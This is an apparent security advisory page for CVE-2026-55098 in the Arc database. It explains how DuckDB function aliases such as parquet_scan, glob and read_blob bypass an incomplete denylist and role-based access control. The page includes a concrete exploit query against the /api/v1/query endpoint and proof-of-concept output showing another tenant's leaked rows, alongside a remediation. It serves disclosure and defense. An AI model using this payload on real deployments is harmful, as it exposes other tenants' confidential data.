CVE-2026-55098: Arc: DuckDB I/O aliases bypass database RBAC after CVE-2026-47735
Summary The fix for CVE-2026-47735 (released 2026.06.1) is incomplete. It added a DuckDB sandbox (SET GLOBAL alloweddirectories=[ ]; SET GLOBAL enableexternalaccess=false) and an Arc SQL-layer denylist of the literal functions readparquet( and arcpartitionagg(.
Published Nov 4, 2026
Affected packages
github.com/basekick-labs/arc
- Ecosystem
- Go
- Affected
- < 0.0.0-20260610131716-5dc8f53b70a3
- Fixed in
- 0.0.0-20260610131716-5dc8f53b70a3
- Check
go list -m github.com/basekick-labs/arc
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The fix for CVE-2026-47735 (released 2026.06.1) is incomplete. It added a DuckDB sandbox (SET GLOBAL allowed_directories=[<storage root>]; SET GLOBAL enable_external_access=false) and an Arc SQL-layer denylist of the literal functions read_parquet( and arc_partition_agg(. The sandbox correctly blocks reads outside the storage root (OS files, http:// SSRF), but it allowlists the entire multi-tenant storage root, and the SQL denylist still misses the rest of the DuckDB I/O family the original advisory enumerated. As a result, any authenticated token — including one with permissions: [] — can read or enumerate every other database's data within the deployment, defeating RBAC.
Verified at HEAD c08b892 (v26.06.1-36, includes 26.06.2). Confirmed still live; no later commit blocks these functions.
Root cause (three composing gaps)
- Sandbox scope is the whole storage root, not the tenant.
internal/database/sandbox.go:111allowlistscfg.LocalStorageRoot(defaultstorage.local_path=./data/arc). Every database lives under it —internal/storage/util.go:33GetStoragePath=><base>/<database>/<measurement>/**/*.parquet. Any in-root path is sandbox-permitted regardless of which database owns it. - RBAC never inspects table-valued functions.
checkQueryPermissions(internal/api/query.go:1181) extracts table refs viaextractTableReferences, which skips any name followed by(as a function (internal/api/query.go:1116); with zero refs it returns allow (:1213-1216). Soparquet_scan(...),glob(...),parquet_metadata(...),read_blob(...),read_csv_auto(...)are never authorization-checked. - The SQL denylist matches only the literal spelling.
userSQLReadParquetPattern(internal/api/query.go:2087) is\bread_parquet\s*\(. DuckDB's documented alias `parquet_scan(` is not matched, andread_csv_auto/read_json/read_text/read_blob/glob/parquet_metadata/parquet_schemaare not blocked anywhere. The fix author documented this very threat atinternal/api/query.go:2061-2064(“a user scoped to db1.m1 could read /data/db2/secrets/**/*.parquet”) but blocked only the literalread_parquet(.
Exploit (authenticated, any token incl. permissions:[])
POST /api/v1/query
Authorization: Bearer <token>
Content-Type: application/json
{"sql": "SELECT * FROM parquet_scan('./data/arc/<victim-db>/<measurement>/**/*.parquet')"}ValidateSQLRequestpasses (parquet_scan(is notread_parquet(, not a dangerous keyword, single statement).checkQueryPermissionsextracts 0 table refs (it is a function call) and allows.convertSQLToStoragePathsfinds noread_parquetliteral and no bareFROM measurementto rewrite, so the query passes through unchanged.- DuckDB runs
parquet_scan('<root>/<victim-db>/...'); the path is insideallowed_directories, so the other database's rows are returned.
glob('./data/arc/**/*') enumerates every database/measurement/file; parquet_metadata(...)/parquet_schema(...) leak column names and per-column min/max value statistics; read_blob(...) returns raw file bytes. All operate within the allowlisted root.
Proof (poc/poc_sandbox_alias_bypass.py, poc/OUTPUT.txt)
Reproduces Arc's exact sandbox config (allowed_directories=[<root>], enable_external_access=false) on DuckDB 1.5.x (Arc pins duckdb-go-bindings 1.5.1) with a victim parquet written under the root:
[BLOCKED ] read_blob OUTSIDE root -> Permission Error: Cannot access file ...
[EXECUTES] parquet_scan victim (read_parquet ALIAS) -> [('tenant-VICTIM-row', 42)]
[EXECUTES] glob enumerate every db under root -> [('.../data/arc/victim-db/secrets/f.parquet',)]
[EXECUTES] parquet_metadata victim -> [('leaked','tenant-VICTIM-row','tenant-VICTIM-row'), ('v','42','42')]The sandbox blocks escape (as designed) but permits every in-root cross-database read.
Impact
Cross-database / cross-tenant confidential read by any authenticated principal, including a least-privileged (permissions: []) token, on RBAC-enabled deployments. This is the same RBAC-bypass impact the original advisory described for read_parquet, still reachable via the alias and the unblocked I/O family. (Arc's SQLite token DB ./data/arc.db is a sibling of ./data/arc/ and is not in the allowlist, so it is not readable this way — the exposure is the time-series data of every database, plus its schema and value-range statistics.)
Remediation
Per-request scope the sandbox to the requesting token's authorized database path(s): allowed_directories = ['<base>/<authorized-db>/'], so the file layer cannot cross the RBAC boundary regardless of which function is used. Alternatively, replace the function-name denylist with a strict allowlist of permitted table functions (alias-resolved, reject all others). A denylist of literal spellings is structurally fragile — this is the second alias/family miss after the original audit.
Credited to anir0y.
References
- https://github.com/Basekick-Labs/arc/security/advisories/GHSA-93cm-2v4m-c56c
- https://nvd.nist.gov/vuln/detail/CVE-2026-55098
- https://github.com/Basekick-Labs/arc/pull/495
- https://github.com/Basekick-Labs/arc/commit/5dc8f53b70a3871b16b0cebf328f07c578af7a45
- https://github.com/Basekick-Labs/arc/tree/v26.06.2
- https://github.com/advisories/GHSA-93cm-2v4m-c56c
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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